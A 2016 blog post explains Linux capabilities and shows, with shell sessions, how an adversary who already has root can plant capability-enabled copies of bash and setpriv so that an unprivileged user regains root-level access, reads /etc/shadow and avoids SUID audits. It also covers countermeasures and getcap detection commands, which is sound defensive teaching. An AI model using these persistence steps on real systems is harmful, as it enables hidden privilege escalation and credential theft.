Search This Blog

Monday 2 May 2016

Linux Capabilities - A friend and foe

As an infrastructure engineer (3rd line support) with a healthy interest in security I like to discover and play with the less well known features of technology. It is surprising how many people are not aware of these, even some senior administrators, yet such features can offer both strong mechanisms to improve the security of a system and strong mechanism for a more nefarious individual to compromise or otherwise abuse that system.

One of these are Linux Capabilities, which can be thought of a division of root's capabilities into discrete parts, such as the ability to open a privileged port or bypass discretionary access controls. This allows for a more fine-grained approach to security. Rather than a user or process having root privileges or not, they can have a subset.

If the process is "capabilities aware", then rather than the traditional "become_root" and "unbecome_root" functions that a SUID root process may use to protect itself, it can enable/disable the specific bits it needs. For example, if you only want to open a privileged port, you don't need to enable the ability to read/write any file.

Solaris has something similar - Privileges - but here I'm going to concentrate on the Linux variant.

Processes and files can have a number of "capability sets". These are bitmasks of the discrete capabilities. Of particular interest are:

Permitted - this is the set of capabilities that the process or file can assume
Effective - this is the set of capabilities that the process or file has
Inheritable - this is the set of capabilities that are preserved across an exec or fork e.g. that can be passed on to a sub-process.

The possible configurations are quite extensive, so reading the man page is encouraged. But let's look at some examples.

First, the classic example; ping. On older distributions this was SUID root to allow it to open raw sockets. However, on CentOS 7.1 for example, it isn't. Instead we now use capabilities:

[root@centos7-1 ~]# ls -l /bin/ping
-rwxr-xr-x. 1 root root 44896 Jun 23  2015 /bin/ping
[root@centos7-1 ~]# getcap /bin/ping
/bin/ping = cap_net_admin,cap_net_raw+p

In addition to 'getcap', we can also view the capabilities of a process in a number of ways, such as using the proc filesystem:

[root@centos7-1 ~]# grep ^Cap /proc/$$/status
CapInh:     0000000000000000
CapPrm:     0000001fffffffff
CapEff:     0000001fffffffff
CapBnd:     0000001fffffffff

Or 'getpcaps' to give a more friendly output:

[root@centos7-1 ~]# getpcaps $$
Capabilities for `3506': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36+ep

However, as you probably noticed when we listed the 'ping' executable, other than the colour (if use are using ls with colours set), there are no obvious signs that it is a privileged file. Indeed, the traditional 'find' for SUID/SGID files won't show this up. So, unless you are looking for them, these are good places to hide.

So, if an adversary has root and wishes to maintain privileged access, but stay off the radar, they may try a capabilities enabled shell:

[root@centos7-1 mnt]# cp -p /bin/bash /mnt/myBash
[root@centos7-1 mnt]# setcap all+epi /mnt/myBash
[root@centos7-1 mnt]# getcap /mnt/myBash
/mnt/myBash =eip

Then as a non-privileged user we can try this:

[paul@centos7-1 ~]$ /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied

That is because the processes initial inheritable set (the non-privileged user) is empty and on an exec it is and'ed with the inheritable set of the file. But this is easy to work around; we just get myBash to open the file and hand over the contents to the child:

[paul@centos7-1 ~]$ grep ^Cap /proc/$$/status
CapInh:     0000000000000000
CapPrm:     0000001fffffffff
CapEff:     0000001fffffffff
CapBnd:     0000001fffffffff
[paul@centos7-1 ~]$ wc -l < /etc/shadow

But, as an adversary, I feel we can do better. Luckily, rather than rolling our own program to make the relevant system calls to the kernel, we also have a program called setpriv. This unprivileged executable allows a privileged caller to set the inheritable capability set of a process and its uid/gid. So, if we were to create our own privileged copy:

[root@centos7-1 mnt]# cp -p /bin/setpriv /mnt/mySetpriv
[root@centos7-1 mnt]# setcap all+epi /mnt/mySetpriv
[root@centos7-1 mnt]# getcap /mnt/mySetpriv
/mnt/mySetpriv =eip

And then use it as an unprivileged user:

[paul@centos7-1 ~]$ echo $0
[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all --reuid 0 /bin/bash
[root@centos7-1 ~]# id -a
uid=0(root) gid=1000(paul) groups=0(root),10(wheel),1000(paul) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Success. The problem is that this shows up as root:

[root@centos7-1 ~]# ps -fp $$
UID         PID   PPID  C STIME TTY          TIME CMD
root       3693   3455  0 09:17 pts/0    00:00:00 /bin/bash

Instead, let's combine the inheritable set for the process with the privileged shell:

[paul@centos7-1 ~]$ /mnt/mySetpriv --inh-caps +all /mnt/myBash
[paul@centos7-1 ~]$ wc -l /etc/shadow
wc: /etc/shadow: Permission denied

Well that didn't work; but as we are in a capabilities environment, our capabilities are determined by the relationship between the process and files capabilities. This time we lost the permitted set:

[paul@centos7-1 ~]$ /bin/bash
[paul@centos7-1 ~]$ grep ^Cap /proc/$/status
CapInh: 0000001fffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000001fffffffff

But then there are a multitude of ways we can play with this; just limited to your imagination. e.g. short "one-off" commands via mySetperm will probably get missed by an admin running 'ps'.

Fortunately, one good countermeasure is that setting a filesystem as "nosuid" also disables files from taking on capabilities. But if an adversary is using it to maintain access, then any writable "suid" permitted filesystem will do.

The key is that 'find' SUID won't work, you need to be looking for these privileged files as well.

Finally, if you are looking at assigning users restricted capabilities, you may find pam_setcap of interest.


  1. How do you 'find' files with capabilities?

  2. # find / -type f -exec getcap {} \; 2>/dev/null

  3. The problem with directly using "find ... -exec" is that it has to spawn a process for each file, which can be expensive. If you wish to make use of the predicates in find to limit what you check (e.g. not crossing filesystem boundaries), something like the following may be more appropriate, since 'getcap' can take multiple filenames:

    # find /usr -type f -print0 | xargs -0 getcap

    Alternatively, as with most commands, getcap has a '-r' option to run recursively. So, something like this also works:

    # getcap -r /usr
    /usr/bin/ping = cap_net_admin,cap_net_raw+p
    /usr/bin/ping6 = cap_net_admin,cap_net_raw+p
    /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
    /usr/sbin/arping = cap_net_raw+p
    /usr/sbin/clockdiff = cap_net_raw+p
    /usr/sbin/mtr = cap_net_raw+ep
    /usr/sbin/dumpcap = cap_net_admin,cap_net_raw+ep